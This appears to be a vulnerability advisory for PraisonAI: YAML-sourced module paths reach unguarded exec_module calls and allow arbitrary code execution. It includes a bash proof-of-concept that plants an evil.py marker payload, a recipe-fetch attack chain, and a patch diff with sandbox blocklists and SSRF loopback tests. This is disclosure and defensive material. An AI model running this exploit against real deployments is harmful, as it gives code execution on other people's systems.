PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334
Description
Arbitrary code execution via ungated spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass) Summary The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate. Patch lineage
CVE | GHSA | Fixed in | What was patched -- | -- | -- | -- CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py This finding | — | unfixed | Missed sinks in agents_generator.py
Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched. Vulnerable code # praisonai/agents_generator.py (master HEAD; v4.6.37)
336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate
372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate)
Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:
Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156. Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True). Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.
Attack chain (recipe vector) HTTP POST /v1/recipes/run body: {"recipe": "github:<attacker>/<repo>/<recipe>"} │ ▼ Recipe fetched → agents.yaml contains: tools: - module_path: ./evil.py # colocated in recipe dir │ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE
No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call. PoC #!/usr/bin/env bash # Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37) set -euo pipefail
WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT
# 1. Malicious module cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)
def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF
# 2. agents.yaml that references it cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools: - evil.py YAMLEOF
# 3. Run cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired "
# 4. Verify MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi
Impact Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account. Severity High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical) CWE
CWE-94: Improper Control of Generation of Code ('Code Injection') CWE-426: Untrusted Search Path CWE-829: Inclusion of Functionality from Untrusted Control Sphere
Affected versions All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD). Suggested fix Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py: import os
def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ...
def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ...
Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths. Credit Kai Aizen & Avraham Shemesh / SnailSploit## Arbitrary code execution via ungated
spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass)
TL;DR
The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, **two additional spec.loader.exec_module call sites** in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.
Patch lineage
| CVE | GHSA | Fixed in | What was patched | | --- | --- | --- | --- | | CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py | | CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py | | CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py | | This finding | — | unfixed | Missed sinks in agents_generator.py |
Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.
Vulnerable code
# praisonai/agents_generator.py (master HEAD; v4.6.37)
336 def load_tools_from_module(self, module_path):
# ...
349 spec = importlib.util.spec_from_file_location("tools_module", module_path)
350 module = importlib.util.module_from_spec(spec)
351 spec.loader.exec_module(module) # ← NO gate
372 def load_tools_from_module_class(self, module_path):
# ... (same pattern — spec_from_file_location → exec_module, no gate)
Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:
- Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
- Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (
POST /v1/recipes/runwithallow_any_github=True). - Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.
Attack chain (recipe vector)
HTTP POST /v1/recipes/run
body: {"recipe": "github://"}
│
▼
Recipe fetched → agents.yaml contains:
tools:
- module_path: ./evil.py # colocated in recipe dir
│
▼
AgentsGenerator.load_tools_from_module("./evil.py")
│
▼
agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py")
agents_generator.py:351 spec.loader.exec_module(module) ← RCE
No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.
PoC
#!/usr/bin/env bash
# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail
WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT
# 1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
f"praisonai_agents_gen_pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")
print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)
def dummy_tool():
"""Placeholder so tool scan finds something."""
pass
PYEOF
# 2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC — agents_generator exec_module bypass"
roles:
poc_agent:
role: PoC
goal: Trigger load_tools_from_module
backstory: n/a
tools:
- evil.py
YAMLEOF
# 3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
ai = PraisonAI(agent_file='agents.yaml')
ai.main()
except Exception:
pass # downstream failure expected; exec_module already fired
"
# 4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
echo "SUCCESS — marker file written by server process:"
cat "$MARKER"
else
echo "FAIL — marker not found"
exit 1
fi
Impact
Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account.
Severity
High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)
When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)
CWE
- CWE-94: Improper Control of Generation of Code ('Code Injection')
- CWE-426: Untrusted Search Path
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere
Affected versions
All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).
Suggested fix
Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py:
import os
def load_tools_from_module(self, module_path):
if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
return []
# ... existing logic ...
def load_tools_from_module_class(self, module_path):
if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
return []
# ... existing logic ...
Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.
Credit
Kai Aizen & Avraham Shemesh / [SnailSploit](https://snailsploit.com)
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Ungated exec_module calls in agents_generator.py allow arbitrary code execution via YAML config in PraisonAI versions before 4.6.38.
Vulnerability
In praisonai/agents_generator.py, two functions load_tools_from_module and load_tools_from_module_class call spec.loader.exec_module on a module_path derived from YAML configuration without checking the PRAISONAI_ALLOW_LOCAL_TOOLS environment variable gate [1][2]. This affects all versions up to and including v4.6.37 (master). The functions were missed during the v4.6.32 chokepoint refactor that patched CVE-2026-44334 [1].
Exploitation
An attacker can supply a malicious module_path through YAML agent configuration, such as a shared writable configuration directory, a remote recipe fetch via POST /v1/recipes/run with allow_any_github=True, or an LLM prompt injection [1][2]. The module is executed when the agent tool is loaded, requiring no authentication if the configuration source is controllable.
Impact
Successful exploitation results in arbitrary code execution in the context of the PraisonAI application [1][2]. The attacker can achieve full compromise of confidentiality, integrity, and availability, potentially leading to system takeover.
Mitigation
No patch is currently available; as of v4.6.37 the vulnerability remains unaddressed [1][2]. The advisory recommends implementing the PRAISONAI_ALLOW_LOCAL_TOOLS gate or validating module_path against an allowlist. Until a fix is released, users should restrict access to YAML configuration sources and avoid loading untrusted tool definitions.
AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
PraisonAIPyPI | < 4.6.40 | 4.6.40 |
Affected products
2Patches
13179cab02dbecrefactor: harden input validation and access controls
19 files changed · +425 −100
.github/workflows/claude.yml+5 −2 modified@@ -181,12 +181,15 @@ jobs: - name: Fetch PR branch and Setup Remote if: github.event.issue.pull_request + env: + PR_BRANCH: ${{ steps.check_fork.outputs.pr_branch }} + IS_FORK: ${{ steps.check_fork.outputs.is_fork }} run: | # Fetch PR head from base repo and put it into local branch - git fetch origin pull/${{ github.event.issue.number }}/head:${{ steps.check_fork.outputs.pr_branch }} + git fetch origin pull/${{ github.event.issue.number }}/head:"${PR_BRANCH}" # If it's a fork, make origin point to local to trick claude-code-action's `git fetch origin <branch>` - if [ "${{ steps.check_fork.outputs.is_fork }}" == "true" ]; then + if [ "${IS_FORK}" = "true" ]; then git remote set-url origin file://$(pwd) fi
src/praisonai-agents/praisonaiagents/tools/mentions.py+5 −0 modified@@ -268,6 +268,11 @@ def _process_rule_mention(self, rule_name: str) -> Optional[str]: def _process_url_mention(self, url: str) -> Optional[str]: """Process @url:https://... mention.""" try: + from praisonaiagents.tools.spider_tools import SpiderTools + + if not SpiderTools()._validate_url(url): + return f"# URL: {url}\n[Blocked: URL is not allowed]" + import urllib.request req = urllib.request.Request(
src/praisonai-agents/praisonaiagents/tools/python_tools.py+55 −48 modified@@ -36,6 +36,30 @@ def _safe_getattr(obj, name, *default): return getattr(obj, name, *default) if default else getattr(obj, name) +_SANDBOX_BLOCKED_ATTRS = frozenset({ + '__subclasses__', '__bases__', '__mro__', '__globals__', + '__code__', '__class__', '__dict__', '__builtins__', + '__import__', '__loader__', '__spec__', '__init_subclass__', + '__set_name__', '__reduce__', '__reduce_ex__', + '__traceback__', '__qualname__', '__module__', + '__wrapped__', '__closure__', '__annotations__', + '__self__', # C builtins leak real builtins module (GHSA-4mr5-g6f9-cfrh) + # Frame/code object introspection + 'gi_frame', 'gi_code', 'cr_frame', 'cr_code', + 'ag_frame', 'ag_code', 'tb_frame', 'tb_next', + 'f_globals', 'f_locals', 'f_builtins', 'f_code', + 'co_consts', 'co_names', + '__getattribute__', '__getattr__', '__setattr__', '__delattr__', + '__dir__', '__get__', '__set__', '__delete__', +}) + +_SANDBOX_BLOCKED_CALLS = frozenset({ + 'exec', 'eval', 'compile', '__import__', + 'open', 'input', 'breakpoint', + 'setattr', 'delattr', 'dir', 'vars', +}) + + def _validate_code_ast(code: str): """Validate code using AST — catches attacks that bypass text checks. @@ -48,52 +72,33 @@ def _validate_code_ast(code: str): except SyntaxError: return None # let compile() handle syntax errors later - # Dangerous dunder attributes attackers use for sandbox escape - _blocked_attrs = frozenset({ - '__subclasses__', '__bases__', '__mro__', '__globals__', - '__code__', '__class__', '__dict__', '__builtins__', - '__import__', '__loader__', '__spec__', '__init_subclass__', - '__set_name__', '__reduce__', '__reduce_ex__', - '__traceback__', '__qualname__', '__module__', - '__wrapped__', '__closure__', '__annotations__', - # Frame/code object introspection - 'gi_frame', 'gi_code', 'cr_frame', 'cr_code', - 'ag_frame', 'ag_code', 'tb_frame', 'tb_next', - 'f_globals', 'f_locals', 'f_builtins', 'f_code', - 'co_consts', 'co_names', - '__getattribute__', '__getattr__', '__setattr__', '__delattr__', - '__dir__', '__get__', '__set__', '__delete__', - }) - for node in ast.walk(tree): # Block import statements if isinstance(node, (ast.Import, ast.ImportFrom)): return f"Import statements are not allowed" # Block attribute access to dangerous dunders if isinstance(node, ast.Attribute): - if node.attr in _blocked_attrs: + if node.attr in _SANDBOX_BLOCKED_ATTRS: return ( f"Access to attribute '{node.attr}' is restricted" ) - # Block calls to dangerous builtins by name + # Block calls to dangerous builtins (bare name or attribute access) if isinstance(node, ast.Call): func = node.func - if isinstance(func, ast.Name) and func.id in ( - 'exec', 'eval', 'compile', '__import__', - 'open', 'input', 'breakpoint', - 'setattr', 'delattr', 'dir', - ): + if isinstance(func, ast.Name) and func.id in _SANDBOX_BLOCKED_CALLS: return f"Call to '{func.id}' is not allowed" + if isinstance(func, ast.Attribute) and func.attr in _SANDBOX_BLOCKED_CALLS: + return f"Call to '{func.attr}' is not allowed" # Block dangerous constants (strings containing dunders) # Fallback for Python 3.7 ast.Str if isinstance(node, ast.Constant) and isinstance(node.value, str): - if any(attr in node.value for attr in _blocked_attrs): + if any(attr in node.value for attr in _SANDBOX_BLOCKED_ATTRS): return f"String constant contains restricted attribute name" elif type(node).__name__ == 'Str': - if any(attr in getattr(node, 's', '') for attr in _blocked_attrs): + if any(attr in getattr(node, 's', '') for attr in _SANDBOX_BLOCKED_ATTRS): return f"String constant contains restricted attribute name" return None @@ -112,7 +117,16 @@ def _execute_code_sandboxed( """ if limits is None: limits = ResourceLimits.minimal() - + + ast_error = _validate_code_ast(code) + if ast_error: + return { + 'result': None, + 'stdout': '', + 'stderr': f'Security Error: {ast_error}', + 'success': False, + } + try: # Create temporary file for the code with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f: @@ -151,21 +165,8 @@ def safe_execute(): }} # Block dangerous patterns - blocked_attrs = {{ - '__subclasses__', '__bases__', '__mro__', '__globals__', - '__code__', '__class__', '__dict__', '__builtins__', - '__import__', '__loader__', '__spec__', '__init_subclass__', - '__set_name__', '__reduce__', '__reduce_ex__', - '__traceback__', '__qualname__', '__module__', - '__wrapped__', '__closure__', '__annotations__', - # Frame/code object introspection - 'gi_frame', 'gi_code', 'cr_frame', 'cr_code', - 'ag_frame', 'ag_code', 'tb_frame', 'tb_next', - 'f_globals', 'f_locals', 'f_builtins', 'f_code', - 'co_consts', 'co_names', - '__getattribute__', '__getattr__', '__setattr__', '__delattr__', - '__dir__', '__get__', '__set__', '__delete__', - }} + blocked_attrs = {set(_SANDBOX_BLOCKED_ATTRS)!r} + blocked_calls = {set(_SANDBOX_BLOCKED_CALLS)!r} for node in ast.walk(tree): if isinstance(node, (ast.Import, ast.ImportFrom)): @@ -182,14 +183,20 @@ def safe_execute(): "stderr": f"Access to attribute '{{node.attr}}' is restricted", "success": False }} - if isinstance(node, ast.Call) and isinstance(node.func, ast.Name): - if node.func.id in ('exec', 'eval', 'compile', '__import__', - 'open', 'input', 'breakpoint', - 'setattr', 'delattr', 'dir'): + if isinstance(node, ast.Call): + func = node.func + if isinstance(func, ast.Name) and func.id in blocked_calls: + return {{ + "result": None, + "stdout": "", + "stderr": f"Call to '{{func.id}}' is not allowed", + "success": False + }} + if isinstance(func, ast.Attribute) and func.attr in blocked_calls: return {{ "result": None, "stdout": "", - "stderr": f"Call to '{{node.func.id}}' is not allowed", + "stderr": f"Call to '{{func.attr}}' is not allowed", "success": False }} if isinstance(node, ast.Constant) and isinstance(node.value, str): @@ -481,7 +488,7 @@ def _execute_code_direct( '__import__', 'import ', 'from ', 'exec', 'eval', 'compile', 'open(', 'file(', 'input(', 'raw_input', '__subclasses__', '__bases__', '__globals__', '__code__', - '__class__', 'globals(', 'locals(', 'vars(' + '__class__', '__self__', 'globals(', 'locals(', 'vars(' ] code_lower = code.lower()
src/praisonai-agents/praisonaiagents/tools/spider_tools.py+46 −24 modified@@ -11,6 +11,8 @@ """ import logging +import ipaddress +import socket from typing import List, Dict, Union, Optional, Any from importlib import util import json @@ -20,6 +22,48 @@ import hashlib import time + +def _host_is_blocked(hostname: str) -> bool: + """Return True when hostname resolves to loopback/private/internal targets.""" + if not hostname: + return True + host = hostname.lower().rstrip(".") + if host in ("localhost", "0.0.0.0", "::1") or host.endswith(".localhost"): + return True + if host in ("169.254.169.254", "metadata.google.internal"): + return True + if any(host.endswith(suffix) for suffix in (".local", ".internal", ".localdomain")): + return True + + def _ip_blocked(ip: ipaddress._BaseAddress) -> bool: + return bool( + ip.is_private or ip.is_loopback or ip.is_reserved or ip.is_link_local + ) + + if host.isdigit(): + try: + return _ip_blocked(ipaddress.ip_address(int(host))) + except (ValueError, OverflowError): + return True + + if host.startswith("0x"): + try: + return _ip_blocked(ipaddress.ip_address(int(host, 16))) + except (ValueError, OverflowError): + return True + + try: + return _ip_blocked(ipaddress.ip_address(host)) + except ValueError: + pass + + try: + return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host))) + except OSError: + pass + + return False + class SpiderTools: """Tools for web scraping and crawling.""" @@ -59,31 +103,9 @@ def _validate_url(self, url: str) -> bool: if not parsed.hostname: return False - # Reject local/internal addresses - hostname = parsed.hostname.lower() - - # Block localhost and loopback - if hostname in ['localhost', '127.0.0.1', '0.0.0.0', '::1']: - return False - - # Block private IP ranges - import ipaddress - try: - ip = ipaddress.ip_address(hostname) - if ip.is_private or ip.is_reserved or ip.is_loopback or ip.is_link_local: - return False - except ValueError: - # Not an IP address, continue with domain validation - pass - - # Block common internal domains - if any(hostname.endswith(domain) for domain in ['.local', '.internal', '.localdomain']): - return False - - # Block metadata service endpoints - if hostname in ['169.254.169.254', 'metadata.google.internal']: + if _host_is_blocked(parsed.hostname): return False - + return True except Exception:
src/praisonai-agents/tests/unit/tools/test_mentions_url_ssrf.py+10 −0 added@@ -0,0 +1,10 @@ +"""@url mentions must not fetch loopback targets.""" + +from praisonaiagents.tools.mentions import MentionsParser + + +def test_url_mention_blocks_loopback(): + parser = MentionsParser() + result = parser._process_url_mention("http://127.0.0.1:8765/") + assert result is not None + assert "Blocked" in result
src/praisonai-agents/tests/unit/tools/test_python_tools_sandbox.py+16 −0 modified@@ -112,6 +112,22 @@ def test_dunder_import_blocked(self, sandbox): result = sandbox.run("__import__('os')") assert result["success"] is False + def test_print_self_blocked(self, sandbox): + """print.__self__ leaks real builtins module (GHSA-4mr5-g6f9-cfrh).""" + result = sandbox.run("b = print.__self__") + assert result["success"] is False + assert "restricted" in result["stderr"].lower() + + def test_vars_call_blocked(self, sandbox): + """vars() can expose builtins.__dict__ after __self__ leak.""" + result = sandbox.run("vars({})") + assert result["success"] is False + + def test_attribute_dunder_call_blocked(self, sandbox): + """Attribute calls bypass bare-name Call checks.""" + result = sandbox.run("(1).__class__.__mro__") + assert result["success"] is False + # ── Legitimate Code (all must PASS) ─────────────────────────────────────────
src/praisonai-agents/tests/unit/tools/test_spider_url_validation.py+10 −0 modified@@ -38,6 +38,16 @@ def test_still_blocks_loopback(): assert spider._validate_url("http://localhost/") is False +def test_blocks_alternate_loopback_encodings(): + """GHSA-5c6w-wwfq-7qqm: non-canonical loopback host forms.""" + spider = SpiderTools() + assert spider._validate_url("http://localhost.:8765/") is False + assert spider._validate_url("http://127.1:8765/") is False + assert spider._validate_url("http://0177.0.0.1:8765/") is False + assert spider._validate_url("http://0x7f000001:8765/") is False + assert spider._validate_url("http://2130706433:8765/") is False + + def test_rejects_non_string_input(): spider = SpiderTools() assert spider._validate_url(None) is False # type: ignore[arg-type]
src/praisonai-platform/praisonai_platform/api/deps.py+36 −0 modified@@ -71,3 +71,39 @@ async def require_workspace_member( ) user.workspace_id = workspace_id return user + + +async def require_workspace_admin( + workspace_id: str, + user: AuthIdentity = Depends(get_current_user), + session: AsyncSession = Depends(get_db), +) -> AuthIdentity: + """Require admin or owner role in the workspace.""" + return await require_workspace_member( + workspace_id, user, session, min_role="admin" + ) + + +async def require_workspace_owner( + workspace_id: str, + user: AuthIdentity = Depends(get_current_user), + session: AsyncSession = Depends(get_db), +) -> AuthIdentity: + """Require owner role in the workspace.""" + return await require_workspace_member( + workspace_id, user, session, min_role="owner" + ) + + +def ensure_resource_in_workspace( + resource_workspace_id: str | None, + workspace_id: str, + *, + label: str = "Resource", +) -> None: + """Reject cross-workspace access (IDOR) with a generic 404.""" + if resource_workspace_id != workspace_id: + raise HTTPException( + status_code=status.HTTP_404_NOT_FOUND, + detail=f"{label} not found", + )
src/praisonai-platform/praisonai_platform/api/routes/agents.py+7 −1 modified@@ -9,7 +9,7 @@ from praisonaiagents.auth import AuthIdentity -from ..deps import get_db, require_workspace_member +from ..deps import ensure_resource_in_workspace, get_db, require_workspace_member from ..schemas import AgentCreate, AgentResponse, AgentUpdate from ...services.agent_service import AgentService @@ -61,6 +61,7 @@ async def get_agent( agent = await svc.get(agent_id) if agent is None: raise HTTPException(status_code=404, detail="Agent not found") + ensure_resource_in_workspace(agent.workspace_id, workspace_id, label="Agent") return AgentResponse.model_validate(agent) @@ -84,6 +85,7 @@ async def update_agent( ) if agent is None: raise HTTPException(status_code=404, detail="Agent not found") + ensure_resource_in_workspace(agent.workspace_id, workspace_id, label="Agent") return AgentResponse.model_validate(agent) @@ -95,6 +97,10 @@ async def delete_agent( session: AsyncSession = Depends(get_db), ): svc = AgentService(session) + agent = await svc.get(agent_id) + if agent is None: + raise HTTPException(status_code=404, detail="Agent not found") + ensure_resource_in_workspace(agent.workspace_id, workspace_id, label="Agent") deleted = await svc.delete(agent_id) if not deleted: raise HTTPException(status_code=404, detail="Agent not found")
src/praisonai-platform/praisonai_platform/api/routes/issues.py+17 −1 modified@@ -9,7 +9,7 @@ from praisonaiagents.auth import AuthIdentity -from ..deps import get_db, require_workspace_member +from ..deps import ensure_resource_in_workspace, get_db, require_workspace_member from ..schemas import ( CommentCreate, CommentResponse, @@ -90,6 +90,7 @@ async def get_issue( issue = await svc.get(issue_id) if issue is None: raise HTTPException(status_code=404, detail="Issue not found") + ensure_resource_in_workspace(issue.workspace_id, workspace_id, label="Issue") return IssueResponse.model_validate(issue) @@ -114,6 +115,7 @@ async def update_issue( ) if issue is None: raise HTTPException(status_code=404, detail="Issue not found") + ensure_resource_in_workspace(issue.workspace_id, workspace_id, label="Issue") act_svc = ActivityService(session) await act_svc.log( workspace_id, "issue.updated", "issue", issue.id, @@ -132,6 +134,10 @@ async def delete_issue( session: AsyncSession = Depends(get_db), ): svc = IssueService(session) + issue = await svc.get(issue_id) + if issue is None: + raise HTTPException(status_code=404, detail="Issue not found") + ensure_resource_in_workspace(issue.workspace_id, workspace_id, label="Issue") deleted = await svc.delete(issue_id) if not deleted: raise HTTPException(status_code=404, detail="Issue not found") @@ -148,6 +154,11 @@ async def add_comment( user: AuthIdentity = Depends(require_workspace_member), session: AsyncSession = Depends(get_db), ): + issue_svc = IssueService(session) + issue = await issue_svc.get(issue_id) + if issue is None: + raise HTTPException(status_code=404, detail="Issue not found") + ensure_resource_in_workspace(issue.workspace_id, workspace_id, label="Issue") svc = CommentService(session) comment = await svc.create( issue_id=issue_id, @@ -166,6 +177,11 @@ async def list_comments( user: AuthIdentity = Depends(require_workspace_member), session: AsyncSession = Depends(get_db), ): + issue_svc = IssueService(session) + issue = await issue_svc.get(issue_id) + if issue is None: + raise HTTPException(status_code=404, detail="Issue not found") + ensure_resource_in_workspace(issue.workspace_id, workspace_id, label="Issue") svc = CommentService(session) comments = await svc.list_for_issue(issue_id) return [CommentResponse.model_validate(c) for c in comments]
src/praisonai-platform/praisonai_platform/api/routes/workspaces.py+55 −6 modified@@ -9,7 +9,13 @@ from praisonaiagents.auth import AuthIdentity -from ..deps import get_current_user, get_db, require_workspace_member +from ..deps import ( + get_current_user, + get_db, + require_workspace_admin, + require_workspace_member, + require_workspace_owner, +) from ..schemas import ( MemberAdd, MemberResponse, @@ -64,7 +70,7 @@ async def get_workspace( async def update_workspace( workspace_id: str, body: WorkspaceUpdate, - user: AuthIdentity = Depends(require_workspace_member), + user: AuthIdentity = Depends(require_workspace_admin), session: AsyncSession = Depends(get_db), ): ws_svc = WorkspaceService(session) @@ -77,7 +83,7 @@ async def update_workspace( @router.delete("/{workspace_id}", status_code=status.HTTP_204_NO_CONTENT) async def delete_workspace( workspace_id: str, - user: AuthIdentity = Depends(require_workspace_member), + user: AuthIdentity = Depends(require_workspace_owner), session: AsyncSession = Depends(get_db), ): ws_svc = WorkspaceService(session) @@ -93,10 +99,16 @@ async def delete_workspace( async def add_member( workspace_id: str, body: MemberAdd, - user: AuthIdentity = Depends(require_workspace_member), + user: AuthIdentity = Depends(require_workspace_admin), session: AsyncSession = Depends(get_db), ): member_svc = MemberService(session) + if body.role == "owner": + if not await member_svc.has_role(workspace_id, user.id, "owner"): + raise HTTPException( + status_code=status.HTTP_403_FORBIDDEN, + detail="Only owners can add another owner", + ) member = await member_svc.add(workspace_id, body.user_id, body.role) return MemberResponse.model_validate(member) @@ -117,10 +129,32 @@ async def update_member_role( workspace_id: str, user_id: str, body: MemberUpdate, - user: AuthIdentity = Depends(require_workspace_member), + user: AuthIdentity = Depends(require_workspace_admin), session: AsyncSession = Depends(get_db), ): member_svc = MemberService(session) + target = await member_svc.get(workspace_id, user_id) + if target is None: + raise HTTPException(status_code=404, detail="Member not found") + if user_id == user.id and body.role != target.role: + raise HTTPException( + status_code=status.HTTP_403_FORBIDDEN, + detail="Cannot change your own role", + ) + if body.role == "owner" and not await member_svc.has_role( + workspace_id, user.id, "owner" + ): + raise HTTPException( + status_code=status.HTTP_403_FORBIDDEN, + detail="Only owners can assign the owner role", + ) + if target.role == "owner" and not await member_svc.has_role( + workspace_id, user.id, "owner" + ): + raise HTTPException( + status_code=status.HTTP_403_FORBIDDEN, + detail="Only owners can change an owner's role", + ) member = await member_svc.update_role(workspace_id, user_id, body.role) if member is None: raise HTTPException(status_code=404, detail="Member not found") @@ -131,10 +165,25 @@ async def update_member_role( async def remove_member( workspace_id: str, user_id: str, - user: AuthIdentity = Depends(require_workspace_member), + user: AuthIdentity = Depends(require_workspace_admin), session: AsyncSession = Depends(get_db), ): member_svc = MemberService(session) + if user_id == user.id: + raise HTTPException( + status_code=status.HTTP_403_FORBIDDEN, + detail="Cannot remove yourself from the workspace", + ) + target = await member_svc.get(workspace_id, user_id) + if target is None: + raise HTTPException(status_code=404, detail="Member not found") + if target.role == "owner" and not await member_svc.has_role( + workspace_id, user.id, "owner" + ): + raise HTTPException( + status_code=status.HTTP_403_FORBIDDEN, + detail="Only owners can remove an owner", + ) removed = await member_svc.remove(workspace_id, user_id) if not removed: raise HTTPException(status_code=404, detail="Member not found")
